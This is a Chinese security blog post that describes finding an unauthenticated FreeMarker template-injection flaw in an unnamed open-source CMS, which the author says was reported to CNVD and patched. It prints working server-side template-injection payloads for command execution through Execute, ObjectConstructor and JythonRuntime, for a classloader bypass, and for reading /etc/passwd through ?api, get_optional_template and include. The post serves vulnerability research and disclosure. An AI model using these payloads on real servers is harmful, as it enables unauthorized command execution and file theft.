freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

某CMS的通用漏洞挖掘过程 (含freemarker模板注入利用)
2021-09-02 19:46:02

本文所涉及的漏洞已提交CNVD且厂商已完成漏洞修复,请勿用于非授权测试!!!

现在比较严格,目标名称均以某CMS指代,见谅。

前言

本来计划在cnvd公开这个小漏洞的时候就把这篇小作文写了,最近一忙给整忘了,现在补上。

某次项目中遇到这个cms,进行了常规黑盒测试后没发现什么大问题,检查cms指纹发现是开源的,嘿嘿。

开源和黑盒的差异

开源cms系统与平时定制化开发的目标系统存在以下差异:

1.开源系统渗透测试人员可以直接接触到源码

源码意味着:配置文件透明、开源组件版本透明、可进行源代码审计、可搭建本地测试环境

2.开源系统往往有丰富的文档支持

开发文档里说不定就会有开发测试相关接口可以实现意想不到的功能。(ps:遇到过比较离谱的,无需登录直接获取session的接口)。

3.负责任的开发者会更新已知漏洞信息,提示用户升级

开始排查

1.检查使用的组件版本

是否存在已知漏洞组件,开发框架是否存在已公开漏洞。

如:shiro、fastjson、thinkphp等。

2.检查配置文件

是否存在硬编码秘钥等敏感信息。

是否固定部署路径。

3.源代码审计

使用源代码审计工具先过一遍,当然能独立进行源代码审计的师傅当我没说。

4.检查开发文档

特别注意平常不常用的或者黑盒测试不容易发现的接口,这些很容易在黑盒测试中被忽略或者根本抓不到相关过程包。

如:初始化api、工具接口、系统状态检查接口等等。

5.检查该CMS是否有已公开的安全漏洞

可以大概分析系统是否已经被各位师傅们刷过副本,大概了解系统的安全性。

对低版本漏洞进行复现,检查测试项目的版本是否存在该漏洞,有精力的话fofa一波,还有机会提交几个事件型。

6.搭建测试环境

可以在本地环境进行测试,再也不怕系统奔溃啦!

收集运行过程中的调试、日志信息,在后续可能派上用场(如:结合文件读取漏洞获取日志中敏感信息)。

发现“有趣”的api

对各个部分进行检查之后在官方网站的开放java api在线测试部分,发现了一个名为“getTemplateResult”的api(不需要用户认证),这个名字可确实叫人浮想联翩呢!获取模板结果?什么模板?服务端渲染?

仿佛已经看到rce在向我招手了,嘿嘿。

果断结合文档、查找源码,开始分析:

文档说明:

基本可以确定是一处Freemarker模板注入,再看看源码:

确认是无需认证的freemarker模板渲染。

第一回合:尝试利用

确认了freemarker组件,但是对freemarker的模板注入和沙盒绕过机制完全陌生......

这个时候就要感谢前辈们的分享精神了:(ps:这一段完全是搬运工)

参考:FreeMarker模板注入实现远程命令执行--Eleven

参考:Freemarker模板注入 Bypass

freemark中存在诸多“实用”的工具组件和内置函数:

FreeMarker高级内置函数

参考:https://freemarker.apache.org/docs/ref_builtins_expert.html

new函数利用

其中, new函数创建一个继承 freemarker.template.TemplateModel 类的变量。

利用方法一:

freemarker.template.utility里面有个Execute类,这个类会执行它的参数,因此我们可以利用new函数新建一个Execute类,传输我们要执行的命令作为参数,从而构造远程命令执行漏洞。

payload:

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

利用方法二:

freemarker.template.utility里面有个ObjectConstructor类,这个类会把它的参数作为名称,构造了一个实例化对象。因此我们可以构造一个可执行命令的对象,从而构造远程命令执行漏洞。

payload:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

利用方法三:

freemarker.template.utility里面的JythonRuntime,可以通过自定义标签的方式,执行Python命令,从而构造远程命令执行漏洞。

payload:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

霍霍,信心满满地开始尝试,然而:

freemarker.template.utility.Execute is not allowed in the template for security reasons

目标对可能造成rce的危险对象做了比较全面的安全限制(高版本freemarker安全配置)

另外两个方式也是相同结果,不再附图。

api函数利用

Freemarker支持一个内置函数:?api,通过它可以访问底层Java Api Freemarker的 BeanWrappers 。
可以尝试通过 Class.getResource 的返回值来访问对象 URI ,该对象包含方法 toURL 。因为URI提供静态方法 create ,通过该方法可以创建任意 URI ,然后用 toURL 将其返回至 URI ,可以尝试窃取系统的任意文件。

payload:

<#assign uri=object?api.class.getResource("/").toURI()> 
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> 
<#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> 
<#assign byte=is.read()> 
<#if byte == -1> 
<#break> 
</#if> 
${byte}, 
</#list>]

进一步配合ProtectionDomain来获取ClassLoader加载引用任意类(即 Class<?> 对象)
在源码中搜索可以加载并且有静态字段的类即包含public static final字段的类(以GSON为例)
使用Freemarker自带的模板模型 Execute ,可以无需使用内置的 ?new 来实例化

payload:

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("id")}

再次尝试,然而:
Can't use ?api, because the \"api_builtin_enabled\" configuration setting is false.

抬走抬走!

第一回合,蓝方赢!

第二回合

既然使用freemarker实例化可执行对象的路子走不通了,那就只能从freemarker的内置变量及标签再检查是否有可以利用的地方了。

参考材料:freemarker用户手册

get_optional_template变量

发现了特殊变量:get_optional_template

用于判断模板文件是否存在及进行后续加载

1630570697_613088c92701052b6169f.png

考虑能否实现任意文件读取,payload:

<#assign optTemp = .get_optional_template('/etc/passwd')>
<#if optTemp.exists>
  Template was found:
  <@optTemp.include />
<#else>
  Template was missing.
</#if>

执行结果:

1630570961_613089d1e18fa6d6cc3bd.png

一个中危应该是保住了,嘿嘿。

include标签

特殊标签法也能实现文件读取效果:

include标签看到就知道是什么意思了吧,payload:

<#include "/etc/passwd" parse=false>

测试结果:

1630571409_61308b918284fa53e85af.png

setting标签

另一个比较有意思的标签:setting标签

先看看使用示例:

<#setting locale="it_IT">
<#setting number_format="0.####">

1630572162_61308e82bbde1a5cc3dd6.png

值得注意的是该标签是可以影响到configuration/settings的。

这不得不让人生出一丝丝联想:如果可以修改到configuration中的安全配置是不是意味着,就可以执行前边被限制的方法了呢?是不是很像当年的struts2绕过?

先看看configurations做了哪些限制:

1630577202_6130a2323efb8332a3d18.png!small?1630577203371

尝试使用setting标签修改APIBuiltinEnabled配置:

payload:<#setting api_builtin_enabled=True >

然而:The setting name is recognized, but changing this setting from inside a template isn't supported.

1630577317_6130a2a507c2494c23427.png

好吧,是我想多了。

第二回合,红方险胜。

后续

由于本人的java水平实在有限,以及对freemark组件确实不熟悉,另外项目时间也有限,测试过程先告一段落。接下来就是提交报告,另外大小算个通用,用的人还不少,zoomeye一波,写了POC脚本,也提交了cnvd。(ps:在写批量扫描脚本的时候发现不同版本的参数名还不同,文件读取也会受BASEDIR限制,只不过官方的docker镜像使用了根目录。很多坑确实要踩上去才会发现!)

如果大家有该漏洞更好的利用思路希望能一起沟通。感谢阅读,共同进步!

# 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录